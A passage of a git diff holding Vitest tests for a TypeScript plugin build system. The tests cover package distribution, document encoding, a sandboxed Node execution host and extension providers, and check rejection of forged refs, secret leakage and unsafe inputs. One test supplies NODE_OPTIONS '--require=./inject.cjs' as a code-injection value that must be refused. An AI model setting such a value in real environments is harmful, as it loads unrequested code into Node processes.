createDistributionPackage({ + platform: 'target', primary: current.primary, assets: current.assets, issued: scope.includes, + input: { + id: 'marketplace', type: 'marketplace', + assets: [ + { path: 'plugin/runtime.mjs', asset: current.inherited }, + { path: 'marketplace.json', asset: manifest }, + ], + }, + }); + + expect(distribution).toMatchObject({ platform: 'target', id: 'marketplace', role: 'distribution', type: 'marketplace' }); + expect(distribution.assets.map(asset => [asset.path, asset.owner])).toEqual([ + ['marketplace.json', 'platform:target'], + ['plugin/runtime.mjs', 'platform:target'], + ]); + await expect(scope.service.fromBytes({ bytes: 'late', origin: { operation: 'late' } })).rejects.toThrow('no longer active'); + }); + + it('rejects foreign granted refs, forged refs, duplicate roots and invalid identities', async () => { + const current = await fixture(); + const foreign = await current.assets.service('extension:foreign').fromBytes({ bytes: 'foreign', origin: { operation: 'foreign' } }); + current.assets.grant('extension:foreign', 'platform:target', foreign); + const scope = current.assets.issuanceScope('platform:target'); + scope.close(); + const create = (asset: AssetRef, id = 'marketplace') => createDistributionPackage({ + platform: 'target', primary: current.primary, assets: current.assets, issued: scope.includes, + input: { id, type: 'marketplace', assets: [{ path: 'foreign.txt', asset }] }, + }); + + expect(() => create(foreign)).toThrow('inherited from primary or issued'); + expect(() => create(Object.freeze({ ...current.inherited }) as AssetRef)).toThrow('inherited from primary or issued'); + expect(() => create(current.inherited, 'plugin')).toThrow('differ from the primary'); + expect(() => createDistributionPackage({ + platform: 'target', primary: current.primary, assets: current.assets, issued: scope.includes, + input: { + id: 'marketplace', type: 'marketplace', + assets: [ + { path: 'tree', asset: current.inherited }, + { path: 'tree/main.mjs', asset: current.inherited }, + ], + }, + })).toThrow('collides'); + }); + + it('owns the callback Asset scope, closes leaked services and rejects duplicate outputs', async () => { + const current = await fixture(); + let leaked: Parameters[0]['create']>[0] | undefined; + const distributions = await collectDistributionPackages({ + platform: 'target', primary: current.primary, assets: current.assets, + async create(assets) { + leaked = assets; + const manifest = await assets.fromBytes({ bytes: '{}\n', origin: { operation: 'marketplace-manifest' } }); + return [{ id: 'marketplace', type: 'marketplace', assets: [{ path: 'marketplace.json', asset: manifest }] }]; + }, + }); + + expect(distributions.map(unit => unit.id)).toEqual(['marketplace']); + await expect(leaked!.fromBytes({ bytes: 'late', origin: { operation: 'late' } })).rejects.toThrow('no longer active'); + await expect(collectDistributionPackages({ + platform: 'target', primary: current.primary, assets: current.assets, + create: () => [ + { id: 'marketplace', type: 'marketplace', assets: [] }, + { id: 'marketplace', type: 'marketplace', assets: [] }, + ], + })).rejects.toThrow('unique'); + }); + + it('closes the callback Asset scope when Platform creation throws', async () => { + const current = await fixture(); + let leaked: Parameters[0]['create']>[0] | undefined; + await expect(collectDistributionPackages({ + platform: 'target', primary: current.primary, assets: current.assets, + create(assets) { + leaked = assets; + throw new Error('Platform failed'); + }, + })).rejects.toThrow('Platform failed'); + await expect(leaked!.fromBytes({ bytes: 'late', origin: { operation: 'late' } })).rejects.toThrow('no longer active'); + }); +}); diff --git a/packages/core/test/document-codec.test.ts b/packages/core/test/document-codec.test.ts new file mode 100644 index 0000000..52b64df --- /dev/null +++ b/packages/core/test/document-codec.test.ts @@ -0,0 +1,45 @@ +import { describe, expect, it } from 'vitest'; +import type { PackageDocumentSnapshot } from '../src/kernel-types.js'; +import { encodePackageDocument } from '../src/package/document-codec.js'; + +/** @returns 指定格式和值的最小冻结 Document snapshot。 */ +function document(format: PackageDocumentSnapshot['format'], value: PackageDocumentSnapshot['value']): PackageDocumentSnapshot { + return Object.freeze({ + id: 'manifest', + path: `manifest.${format}`, + format, + value, + emission: 'required', + extensionPoints: Object.freeze([]), + }); +} + +/** @returns codec 字节的 UTF-8 文本。 */ +function text(snapshot: PackageDocumentSnapshot): string { + return new TextDecoder().decode(encodePackageDocument(snapshot)); +} + +describe('Core Package Document codec', () => { + it('produces stable JSON, YAML, TOML and frontmatter golden bytes', () => { + const value = { z: 2, a: { enabled: true } }; + expect(text(document('json', value))).toBe(`{ + "a": { + "enabled": true + }, + "z": 2 +} +`); + expect(text(document('yaml', value))).toBe('a:\n enabled: true\nz: 2\n'); + expect(text(document('toml', value))).toBe('z = 2\n\n[a]\nenabled = true\n'); + expect(text(document('frontmatter', { + frontmatter: { z: 2, a: 'value' }, + body: ' Body. ', + }))).toBe('---\na: value\nz: 2\n---\nBody.\n'); + }); + + it('rejects unsupported roots and malformed frontmatter without lossy coercion', () => { + expect(() => text(document('toml', ['not', 'an', 'object']))).toThrow('TOML Document root'); + expect(() => text(document('frontmatter', { frontmatter: {}, body: 'Body.', extra: true }))).toThrow('exactly'); + expect(() => text(document('frontmatter', { frontmatter: [], body: 'Body.' }))).toThrow('JSON object'); + }); +}); diff --git a/packages/core/test/documents.test.ts b/packages/core/test/documents.test.ts deleted file mode 100644 index 0cf6b2f..0000000 --- a/packages/core/test/documents.test.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { - bytesArtifact, - definePlatform, - DocumentRegistry, - PlatformDraftRegistry, - type DraftDocument, - type PlatformId, -} from '../src/index.js'; - -/** - * 创建测试可用的品牌化 Platform ID。 - * - * @param id 开放 Platform ID。 - * @returns 只能由 Core 工厂生成的 PlatformId。 - */ -function platformId(id: string): PlatformId { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - /** Document 测试不执行 Platform prepare。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** Document 测试不生成 DeliveryUnit。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** Document 测试不物化候选目录。 */ - validateBundle: () => undefined, - }).id; -} - -/** Document Registry 测试统一使用的 Platform ID。 */ -const TEST_PLATFORM = platformId('test-platform'); - -/** @returns 带两个精确空扩展点的 Manifest Document。 */ -function manifestDocument(): DraftDocument { - return { - id: 'manifest', - path: 'plugin.json', - format: 'json', - owner: 'platform:test-platform', - value: { config: {} }, - extensionPoints: [['config', 'hooks'], ['config', 'mcp']], - }; -} - -describe('Document Registry', () => { - it('applies exact add-only patches and exposes immutable owner-merged snapshots', () => { - /** 接管 Platform 初始 Manifest 的 Registry。 */ - const registry = new DocumentRegistry(TEST_PLATFORM, [manifestDocument()]); - registry.patchDocument('extension:hooks', { - document: 'manifest', - path: ['config', 'hooks'], - value: { events: ['before-tool'] }, - }); - /** 完成 Extension 合并后的逻辑 Document 快照。 */ - const snapshot = registry.snapshot(); - - expect(registry.getDocument('manifest')).toEqual({ config: { hooks: { events: ['before-tool'] } } }); - expect(snapshot).toEqual([expect.objectContaining({ - id: 'manifest', - owner: 'platform:test-platform', - value: { config: { hooks: { events: ['before-tool'] } } }, - })]); - expect(Object.isFrozen(snapshot)).toBe(true); - expect(Object.isFrozen(snapshot[0]!.value)).toBe(true); - expect(Object.isFrozen((snapshot[0]!.value as { config: object }).config)).toBe(true); - }); - - it('rejects undeclared points, replacement, duplicate owners, and pre-filled extension points', () => { - /** 仍具有两个空位的初始 Registry。 */ - const registry = new DocumentRegistry(TEST_PLATFORM, [manifestDocument()]); - registry.patchDocument('extension:hooks', { - document: 'manifest', - path: ['config', 'hooks'], - value: { enabled: true }, - }); - - expect(() => registry.patchDocument('extension:other', { - document: 'manifest', path: ['config', 'hooks'], value: { enabled: false }, - })).toThrow('already owned'); - /** 失败 patch 不得改写首个 owner 已提交的不可变字段。 */ - expect(registry.getDocument('manifest')).toEqual({ config: { hooks: { enabled: true } } }); - expect(() => registry.patchDocument('extension:other', { - document: 'manifest', path: ['config', 'unknown'], value: true, - })).toThrow('does not declare'); - /** Platform 预填值与 Extension add-only 所有权冲突。 */ - const occupied: DraftDocument = { - ...manifestDocument(), - value: { config: { hooks: {} } }, - extensionPoints: [['config', 'hooks']], - }; - expect(() => new DocumentRegistry(TEST_PLATFORM, [occupied])).toThrow('empty field'); - }); - - it('rejects duplicate logical IDs and physical path collisions', () => { - /** 与 Manifest 只在逻辑 ID 不同的重复文档。 */ - const duplicateId = { ...manifestDocument(), path: 'other.json' }; - expect(() => new DocumentRegistry(TEST_PLATFORM, [manifestDocument(), duplicateId])).toThrow('Duplicate Document id'); - /** 与 Manifest 只在大小写上不同的物理路径。 */ - const pathCollision: DraftDocument = { - ...manifestDocument(), id: 'secondary', path: 'PLUGIN.json', extensionPoints: [], - }; - expect(() => new DocumentRegistry(TEST_PLATFORM, [manifestDocument(), pathCollision])).toThrow('collision'); - }); - - it('shares path ownership between Documents and Adapter Artifacts', async () => { - /** Document 已占用 plugin.json 的完整 Platform Draft。 */ - const registry = await PlatformDraftRegistry.create(TEST_PLATFORM, { - documents: [manifestDocument()], - artifacts: [bytesArtifact('README.md', 'readme')], - }, new Map()); - - await expect(registry.emitArtifact('extension:hooks', bytesArtifact('PLUGIN.json', 'conflict'))).rejects.toThrow('collision'); - /** 不冲突的 Extension Artifact 带有自己的 owner。 */ - const artifact = await registry.emitArtifact('extension:hooks', bytesArtifact('hooks/run.mjs', 'run')); - expect(artifact.owner).toBe('extension:hooks'); - expect(registry.artifacts.map(item => item.path)).toEqual(['README.md', 'hooks/run.mjs']); - }); - - it('preserves the explicit empty-document emission policy in frozen snapshots', () => { - /** 可由 Platform 在空对象状态省略的配置 Document。 */ - const optional: DraftDocument = { - id: 'optional-config', - path: 'optional.json', - format: 'json', - owner: 'platform:test-platform', - value: {}, - emission: 'omit-if-empty', - extensionPoints: [['mcp']], - }; - /** 接管可选文档后的 Registry。 */ - const registry = new DocumentRegistry(TEST_PLATFORM, [optional]); - - expect(registry.snapshot()).toEqual([expect.objectContaining({ emission: 'omit-if-empty', value: {} })]); - }); -}); diff --git a/packages/core/test/execution-host.test.ts b/packages/core/test/execution-host.test.ts new file mode 100644 index 0000000..5da79cc --- /dev/null +++ b/packages/core/test/execution-host.test.ts @@ -0,0 +1,180 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import process from 'node:process'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { AssetMode, GeneratedAssetRef } from '../src/kernel-types.js'; +import { CompilerHost } from '../src/compiler/compiler-host.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { ExecutionHost } from '../src/kernel/execution-host.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WatchRegistry } from '../src/kernel/watch-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; + +/** Execution Host 测试创建的临时工程根。 */ +const roots: string[] = []; + +/** + * 创建 Compiler + Execution 共用的一轮 BuildSession。 + * + * @param code portable-node 测试程序。 + * @param mode 入口 Asset mode。 + * @param id 编译 Job ID。 + * @returns 已签发入口和 owner-scoped Execution service。 + */ +async function fixture(code: string, mode: AssetMode = 0o755, id = 'execution-job') { + /** 当前测试独占工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-execution-host-')); + roots.push(root); + /** portable 作者源码 root。 */ + const sourceRoot = path.join(root, 'src', 'runtime'); + await fs.mkdir(sourceRoot, { recursive: true }); + await fs.writeFile(path.join(sourceRoot, 'main.ts'), code); + /** 当前 BuildSession registries。 */ + const scope = new BuildSessionScope(); + const owner = 'extension:fixture'; + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const watch = new WatchRegistry(scope, root); + /** 当前 owner 作者来源入口。 */ + const directory = await sources.issueRoot(owner, sourceRoot); + const entry = await sources.service(owner).file(directory, 'main.ts'); + /** 用真实 portable Profile 生成 Execution Host 唯一接受的 Asset。 */ + const compiler = new CompilerHost({ projectRoot: root, sources, workDirectories: work, assets, watch }); + const result = await (await compiler.service(owner)).compile({ + id, + profile: 'portable-node', + entries: { main: { type: 'source', source: entry, mode } }, + }); + /** portable 单入口生成的 main Chunk。 */ + const asset = result.outputs.find(output => output.type === 'chunk')!.asset; + /** owner 物理根只供 Core 测试验证 cleanup。 */ + const handle = await work.directory(owner); + const ownerWorkRoot = work.physicalRoot(owner, handle); + /** 当前 BuildSession 唯一 Execution Host。 */ + const host = new ExecutionHost({ assets, workDirectories: work }); + return { root, owner, ownerWorkRoot, work, assets, asset, service: host.service(owner), other: host.service('extension:other') }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('ExecutionHost', () => { + it('runs portable Node with literal args/stdin, minimal env and preserved mode', async () => { + /** 测试程序只观察显式输入和自身物化 mode。 */ + const current = await fixture([ + 'import { statSync } from "node:fs";', + 'const chunks: Buffer[] = [];', + 'for await (const chunk of process.stdin) chunks.push(Buffer.from(chunk));', + 'process.stdout.write(JSON.stringify({', + ' args: process.argv.slice(2),', + ' stdin: Buffer.concat(chunks).toString("utf8"),', + ' visible: process.env.VISIBLE ?? null,', + ' inherited: process.env.ACPLUGIN_TEST_SECRET ?? null,', + ' mode: statSync(new URL(import.meta.url)).mode & 0o777,', + '}));', + ].join('\n'), 0o644); + /** 宿主 secret 绝不能被最小环境继承。 */ + const previous = process.env.ACPLUGIN_TEST_SECRET; + process.env.ACPLUGIN_TEST_SECRET = 'must-not-leak'; + try { + const result = await current.service.runNode({ + entry: current.asset, + args: ['--literal', 'value with spaces'], + stdin: 'payload\n', + timeoutMs: 5_000, + maxOutputBytes: 16_384, + environment: { VISIBLE: 'explicit' }, + }); + expect(result.status).toBe('exited'); + expect(result.exitCode).toBe(0); + expect(JSON.parse(new TextDecoder().decode(result.stdout))).toEqual({ + args: ['--literal', 'value with spaces'], + stdin: 'payload\n', + visible: 'explicit', + inherited: null, + mode: 0o644, + }); + } finally { + if (previous === undefined) + delete process.env.ACPLUGIN_TEST_SECRET; + else + process.env.ACPLUGIN_TEST_SECRET = previous; + } + await expect(fs.access(path.join(current.ownerWorkRoot, 'execution', '1'))).rejects.toThrow(); + }); + + it('returns stable nonzero, signal, timeout and shared output-limit results', async () => { + /** 非零退出仍是可检查的稳定 result。 */ + const failed = await fixture('process.stderr.write("failure"); process.exitCode = 7;', 0o755, 'nonzero-job'); + await expect(failed.service.runNode({ entry: failed.asset, timeoutMs: 5_000, maxOutputBytes: 1024 })).resolves.toMatchObject({ + status: 'exited', + exitCode: 7, + signal: null, + }); + + /** 固定 timeout 必须终止并返回脱敏状态。 */ + const timed = await fixture('setInterval(() => undefined, 1_000);', 0o755, 'timeout-job'); + await expect(timed.service.runNode({ entry: timed.asset, timeoutMs: 50, maxOutputBytes: 1024 })).resolves.toMatchObject({ + status: 'timed-out', + exitCode: null, + }); + + /** stdout/stderr 共享同一个输出预算,越界 chunk 不进入返回值。 */ + const output = await fixture('process.stdout.write("x".repeat(2048)); process.stderr.write("y".repeat(2048));', 0o755, 'output-job'); + const limited = await output.service.runNode({ entry: output.asset, timeoutMs: 5_000, maxOutputBytes: 128 }); + expect(limited.status).toBe('output-limit'); + expect(limited.stdout.byteLength + limited.stderr.byteLength).toBeLessThanOrEqual(128); + + if (process.platform !== 'win32') { + /** POSIX 自发 signal 必须与 timeout 明确区分。 */ + const signaled = await fixture('process.kill(process.pid, "SIGTERM");', 0o755, 'signal-job'); + await expect(signaled.service.runNode({ entry: signaled.asset, timeoutMs: 5_000, maxOutputBytes: 1024 })).resolves.toMatchObject({ + status: 'signaled', + signal: 'SIGTERM', + }); + } + }); + + it('rejects forged, cross-owner, non-chunk and unsafe environment inputs', async () => { + /** 当前合法 portable entry。 */ + const current = await fixture('export {};'); + /** 复制公开字段不能伪造 Registry identity。 */ + const forged = Object.freeze({ ...current.asset }) as GeneratedAssetRef; + await expect(current.service.runNode({ entry: forged, timeoutMs: 1_000, maxOutputBytes: 1024 })).rejects.toThrow('not authorized'); + await expect(current.other.runNode({ entry: current.asset, timeoutMs: 1_000, maxOutputBytes: 1024 })).rejects.toThrow('not authorized'); + await expect(current.service.runNode({ + entry: current.asset, + timeoutMs: 1_000, + maxOutputBytes: 1024, + environment: { NODE_OPTIONS: '--require=./inject.cjs' }, + })).rejects.toThrow('unsafe'); + + /** 由 Core 签发但 provenance kind 不是 chunk 的 Asset。 */ + const handle = await current.work.directory(current.owner); + const licenseFile = current.work.resolve(current.owner, handle, 'manual/licenses.txt'); + await fs.mkdir(path.dirname(licenseFile), { recursive: true }); + await fs.writeFile(licenseFile, 'license\n'); + const licenses = await current.assets.issueGenerated(current.owner, handle, 'manual/licenses.txt', 0o644, { + job: 'portable-job', + output: 'main', + profile: 'portable-node', + kind: 'licenses', + inputs: ['src/runtime/main.ts'], + }); + await expect(current.service.runNode({ entry: licenses, timeoutMs: 1_000, maxOutputBytes: 1024 })).rejects.toThrow('generated chunk'); + }); + + it('cleans the isolated execution root when pre-spawn materialization fails', async () => { + /** 当前合法 portable entry 及其可预测 Compiler work 文件。 */ + const current = await fixture('export {};', 0o755, 'mutation-job'); + const generated = path.join(current.ownerWorkRoot, 'compile', 'mutation-job', 'main', 'main.mjs'); + await fs.writeFile(generated, 'mutated after issuance\n'); + + await expect(current.service.runNode({ entry: current.asset, timeoutMs: 1_000, maxOutputBytes: 1024 })).rejects.toThrow('changed after'); + await expect(fs.access(path.join(current.ownerWorkRoot, 'execution', '1'))).rejects.toThrow(); + }); +}); diff --git a/packages/core/test/extension-provider.test.ts b/packages/core/test/extension-provider.test.ts new file mode 100644 index 0000000..b9e3ae5 --- /dev/null +++ b/packages/core/test/extension-provider.test.ts @@ -0,0 +1,299 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { + CanonicalProject, + CompilerService, + ExecutionService, + ExtensionSession, + ModuleService, + PlatformBasePackageSnapshot, + PlatformIntegrationDescription, +} from '../src/kernel-types.js'; +import { defineExtension } from '../src/kernel-contracts.js'; +import { AssetRegistry } from '../src/kernel/asset-registry.js'; +import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; +import { DiagnosticRegistry } from '../src/kernel/diagnostic-registry.js'; +import { SourceRegistry } from '../src/kernel/source-registry.js'; +import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import { + buildExtension, + collectExtensionContributions, + discoverExtension, + preflightExtensionConsumers, + validateExtension, +} from '../src/resources/extension-provider.js'; + +/** Extension Provider 测试根。 */ +const roots: string[] = []; + +/** 空 canonical Project。 */ +const project: CanonicalProject = Object.freeze({ + metadata: Object.freeze({ name: 'fixture', version: '1.0.0', description: 'Fixture.', keywords: Object.freeze([]) }), + commands: Object.freeze([]), skills: Object.freeze([]), agents: Object.freeze([]), publicFiles: Object.freeze([]), +}); + +/** 测试不调用 Module Host 的类型完备 service。 */ +const modules: ModuleService = Object.freeze({ + loadDefault: async () => undefined as T, +}); + +/** 测试 Extension 不调用 Compiler Host 的类型完备 service。 */ +const compiler: CompilerService = Object.freeze({ + engine: Object.freeze({ name: 'rolldown', version: 'test' }), + compile: async () => { throw new Error('Compiler should not be called by this fixture.'); }, +}); + +/** 测试 Extension 不调用 Execution Host 的类型完备 service。 */ +const execution: ExecutionService = Object.freeze({ + runNode: async () => { throw new Error('Execution should not be called by this fixture.'); }, +}); + +/** 选中目标 Platform 的稳定公开 description。 */ +const targetPlatform: PlatformIntegrationDescription = Object.freeze({ + kind: 'platform', id: 'target', apiVersion: '1', options: Object.freeze({}), capabilities: Object.freeze({}), +}); + +/** Contributor 共享读取的最小 base Package。 */ +const base: PlatformBasePackageSnapshot = Object.freeze({ + documents: Object.freeze([]), assets: Object.freeze([]), compatibility: Object.freeze([]), metadata: Object.freeze([]), +}); + +/** + * 创建 owner-scoped Extension Provider fixture。 + * + * @returns refs、registries 和通用调用参数。 + */ +async function fixture() { + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-extension-provider-')); + roots.push(root); + const resource = path.join(root, 'src', 'owned'); + await fs.mkdir(resource, { recursive: true }); + await fs.writeFile(path.join(resource, 'descriptor.ts'), 'export default {};\n'); + const scope = new BuildSessionScope(); + const sources = new SourceRegistry(scope, root); + const work = new WorkDirectoryRegistry(scope, path.join(root, '.work')); + const assets = new AssetRegistry(scope, sources, work); + const diagnostics = new DiagnosticRegistry(); + const owner = 'extension:owned'; + const rootRef = await sources.issueRoot(owner, resource); + const file = await sources.service(owner).file(rootRef, 'descriptor.ts'); + const asset = await assets.service(owner).fromSource(file); + const extension = defineExtension({ + id: 'owned', apiVersion: '1', resourceRoots: ['owned'], + createSession: () => { throw new Error('test supplies session directly'); }, + }); + return { root, owner, sources, assets, diagnostics, rootRef, file, asset, extension }; +} + +afterEach(async () => { + await Promise.all(roots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Extension Provider state boundaries', () => { + it('copies discovered/validated state while preserving authorized ref identity and sorting subjects', async () => { + const current = await fixture(); + const mutable = { list: ['original'] }; + const session: ExtensionSession = { + discover: () => ({ mutable, file: current.file, asset: current.asset }), + validate: (_context, discovered) => ({ + state: { discovered, enabled: true }, + subjects: [ + { subject: 'hook:zeta', capabilities: ['wire', 'runtime'] }, + { subject: 'hook:alpha', capabilities: ['runtime'] }, + ], + }), + build: () => ({ state: {} }), + contributors: [], + }; + const discovered = await discoverExtension({ + extension: current.extension, + session, + roots: { owned: current.rootRef }, + command: 'build', mode: 'production', + sources: current.sources, + assets: current.assets, + modules, + diagnostics: current.diagnostics, + }); + mutable.list.push('changed'); + expect(discovered?.state).toMatchObject({ mutable: { list: ['original'] }, file: current.file, asset: current.asset }); + expect(Object.isFrozen((discovered?.state as { mutable: object }).mutable)).toBe(true); + const validated = await validateExtension({ + discovered: discovered!, session, project, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + }); + expect(validated.subjects).toEqual([ + { subject: 'hook:alpha', capabilities: ['runtime'] }, + { subject: 'hook:zeta', capabilities: ['runtime', 'wire'] }, + ]); + expect(Object.isFrozen(validated.state)).toBe(true); + }); + + it('rejects functions, accessors, cycles, classes and forged refs in discovered state', async () => { + const check = async (state: unknown, expected: string): Promise => { + const current = await fixture(); + const session: ExtensionSession = { + discover: () => state, + validate: () => ({ state: {}, subjects: [] }), + build: () => ({ state: {} }), + contributors: [], + }; + await expect(discoverExtension({ + extension: current.extension, + session, + roots: { owned: current.rootRef }, + command: 'build', mode: 'production', sources: current.sources, assets: current.assets, + modules, diagnostics: current.diagnostics, + })).rejects.toThrow(expected); + }; + const cycle: Record = {}; + cycle.self = cycle; + class State {} + const accessor = Object.defineProperty({}, 'value', { get: () => 'hidden', enumerable: true }); + const current = await fixture(); + + await check({ run: () => undefined }, 'unsupported'); + await check(accessor, 'data property'); + await check(cycle, 'cycle'); + await check(new State(), 'plain objects'); + await check({ file: Object.freeze({ ...current.file }) }, 'unauthorized SourceRef'); + }); + + it('rejects malformed and duplicate validation subjects', async () => { + const current = await fixture(); + const session: ExtensionSession = { + discover: () => ({}), + validate: () => ({ + state: {}, + subjects: [ + { subject: 'duplicate', capabilities: ['runtime'] }, + { subject: 'duplicate', capabilities: ['runtime'] }, + ], + }), + build: () => ({ state: {} }), + contributors: [], + }; + const discovered = await discoverExtension({ + extension: current.extension, session, roots: { owned: current.rootRef }, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, + modules, diagnostics: current.diagnostics, + }); + await expect(validateExtension({ + discovered: discovered!, session, project, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + })).rejects.toThrow('duplicated'); + }); + + it('preflights consumers, skips unused builds and creates explicit unsupported compatibility', async () => { + const current = await fixture(); + let builds = 0; + const session: ExtensionSession = { + discover: () => ({}), + validate: () => ({ state: {}, subjects: [{ subject: 'hook:check', capabilities: ['runtime', 'wire'] }] }), + build: () => { + builds += 1; + return { state: {} }; + }, + contributors: [], + }; + const discovered = await discoverExtension({ + extension: current.extension, session, roots: { owned: current.rootRef }, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, modules, diagnostics: current.diagnostics, + }); + const validated = await validateExtension({ + discovered: discovered!, session, project, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + }); + const plan = preflightExtensionConsumers({ validated, session, platforms: [targetPlatform] }); + const built = await buildExtension({ + plan, session, project, command: 'build', mode: 'production', compiler, execution, + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + }); + const contributions = await collectExtensionContributions({ + platform: targetPlatform, base, project, command: 'build', mode: 'production', + plans: [plan], built: [], assets: current.assets, diagnostics: current.diagnostics, + }); + + expect(plan.requiresBuild).toBe(false); + expect(builds).toBe(0); + expect(built).toBeUndefined(); + expect(contributions[0]?.contribution.compatibility).toEqual([ + expect.objectContaining({ subject: 'hook:check', capability: 'runtime', level: 'unsupported' }), + expect.objectContaining({ subject: 'hook:check', capability: 'wire', level: 'unsupported' }), + ]); + }); + + it('builds once for matching consumers and passes one immutable base to the Contributor', async () => { + const current = await fixture(); + let receivedBase: PlatformBasePackageSnapshot | undefined; + let builds = 0; + const session: ExtensionSession = { + discover: () => ({}), + validate: () => ({ state: { asset: current.asset }, subjects: [{ subject: 'hook:check', capabilities: ['runtime'] }] }), + build: (_context, validated) => { + builds += 1; + return { state: { asset: validated.asset } }; + }, + contributors: [{ + platform: 'target', platformApiVersion: '1', + contribute: (context, built) => { + receivedBase = context.base; + return { + assets: [{ path: 'runtime/hook.mjs', asset: built.asset }], + compatibility: [{ subject: 'hook:check', capability: 'runtime', level: 'native', reason: 'Native.' }], + }; + }, + }], + }; + const discovered = await discoverExtension({ + extension: current.extension, session, roots: { owned: current.rootRef }, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, modules, diagnostics: current.diagnostics, + }); + const validated = await validateExtension({ + discovered: discovered!, session, project, command: 'build', mode: 'production', + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + }); + const plan = preflightExtensionConsumers({ validated, session, platforms: [targetPlatform] }); + const built = await buildExtension({ + plan, session, project, command: 'build', mode: 'production', compiler, execution, + sources: current.sources, assets: current.assets, diagnostics: current.diagnostics, + }); + const contributions = await collectExtensionContributions({ + platform: targetPlatform, base, project, command: 'build', mode: 'production', + plans: [plan], built: [built!], assets: current.assets, diagnostics: current.diagnostics, + }); + + expect(plan.requiresBuild).toBe(true); + expect(builds).toBe(1); + expect(receivedBase).toBe(base); + expect(Object.isFrozen(built?.state)).toBe(true); + expect(contributions[0]).toMatchObject({ owner: 'extension:owned', subjects: [{ subject: 'hook:check' }] }); + }); + + it('rejects duplicate, wrong-version and accessor Contributor definitions during preflight', async () => { + const current = await fixture(); + const validated = Object.freeze({ extension: current.extension, state: Object.freeze({}), subjects: Object.freeze([]) }); + const contributor = Object.freeze({ + platform: 'target', platformApiVersion: '1' as const, + contribute: () => ({ compatibility: [] }), + }); + const session = (contributors: readonly unknown[]): ExtensionSession => ({ + discover: () => ({}), validate: () => ({ state: {}, subjects: [] }), build: () => ({ state: {} }), + contributors: contributors as never, + }); + + expect(() => preflightExtensionConsumers({ validated, session: session([contributor, contributor]), platforms: [targetPlatform] })).toThrow('duplicate'); + expect(() => preflightExtensionConsumers({ + validated, session: session([{ ...contributor, platformApiVersion: '2' }]), platforms: [targetPlatform], + })).toThrow('API version 1'); + expect(() => preflightExtensionConsumers({ + validated, + session: session([Object.defineProperty({ platformApiVersion: '1', contribute: () => ({ compatibility: [] }) }, 'platform', { + get: () => 'target', enumerable: true, + })]), + platforms: [targetPlatform], + })).toThrow('data property'); + }); +}); diff --git a/packages/core/test/graph.test.ts b/packages/core/test/graph.test.ts deleted file mode 100644 index ca8437c..0000000 --- a/packages/core/test/graph.test.ts +++ /dev/null @@ -1,139 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import { afterEach, describe, expect, it } from 'vitest'; -import { - definePlatform, - DiagnosticCollector, - resolveConfig, - scanProject, - type AcpluginPlatform, -} from '../src/index.js'; - -/** 每个依赖图测试创建并在 afterEach 中清理的临时工程。 */ -const temporaryDirectories: string[] = []; - -/** - * 创建依赖图测试所需的最小默认 Platform。 - * - * @param id 测试 Platform ID。 - * @returns 品牌化 Platform 实例。 - */ -function testPlatform(id: string): AcpluginPlatform { - return definePlatform({ - id, - apiVersion: '1', - deliveryType: 'plugin', - /** 图测试不执行 Draft 准备。 */ - prepare: () => ({ documents: [], artifacts: [] }), - /** 图测试不生成真实交付单元。 */ - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** 图测试不物化候选目录。 */ - validateBundle: () => undefined, - }); -} - -/** 依赖图测试显式使用的 Platform。 */ -const defaultPlatforms = [testPlatform('claude-code'), testPlatform('codex')]; - -/** - * 创建具有 commands、skills 和 agents 目录的临时工程。 - * - * @returns 临时工程绝对路径。 - */ -async function temporaryProject(): Promise { - /** 当前图测试独占的临时目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-graph-test-')); - temporaryDirectories.push(root); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); - return root; -} - -/** - * 写入一个最小 Skill Component。 - * - * @param root 工程根目录。 - * @param id Skill ID。 - * @param requires 插入 Frontmatter 的依赖 YAML。 - */ -async function writeSkill(root: string, id: string, requires = ''): Promise { - await fs.mkdir(path.join(root, 'src/skills', id), { recursive: true }); - await fs.writeFile(path.join(root, 'src/skills', id, 'SKILL.md'), `--- -description: Skill ${id}. -${requires}--- -Skill ${id} body. -`); -} - -/** - * 扫描依赖图测试工程并返回稳定诊断。 - * - * @param root 工程根目录。 - * @returns Scanner 生成的全部诊断。 - */ -async function graphDiagnostics(root: string): Promise { - /** 图测试使用的最终配置。 */ - const resolved = resolveConfig({ - name: 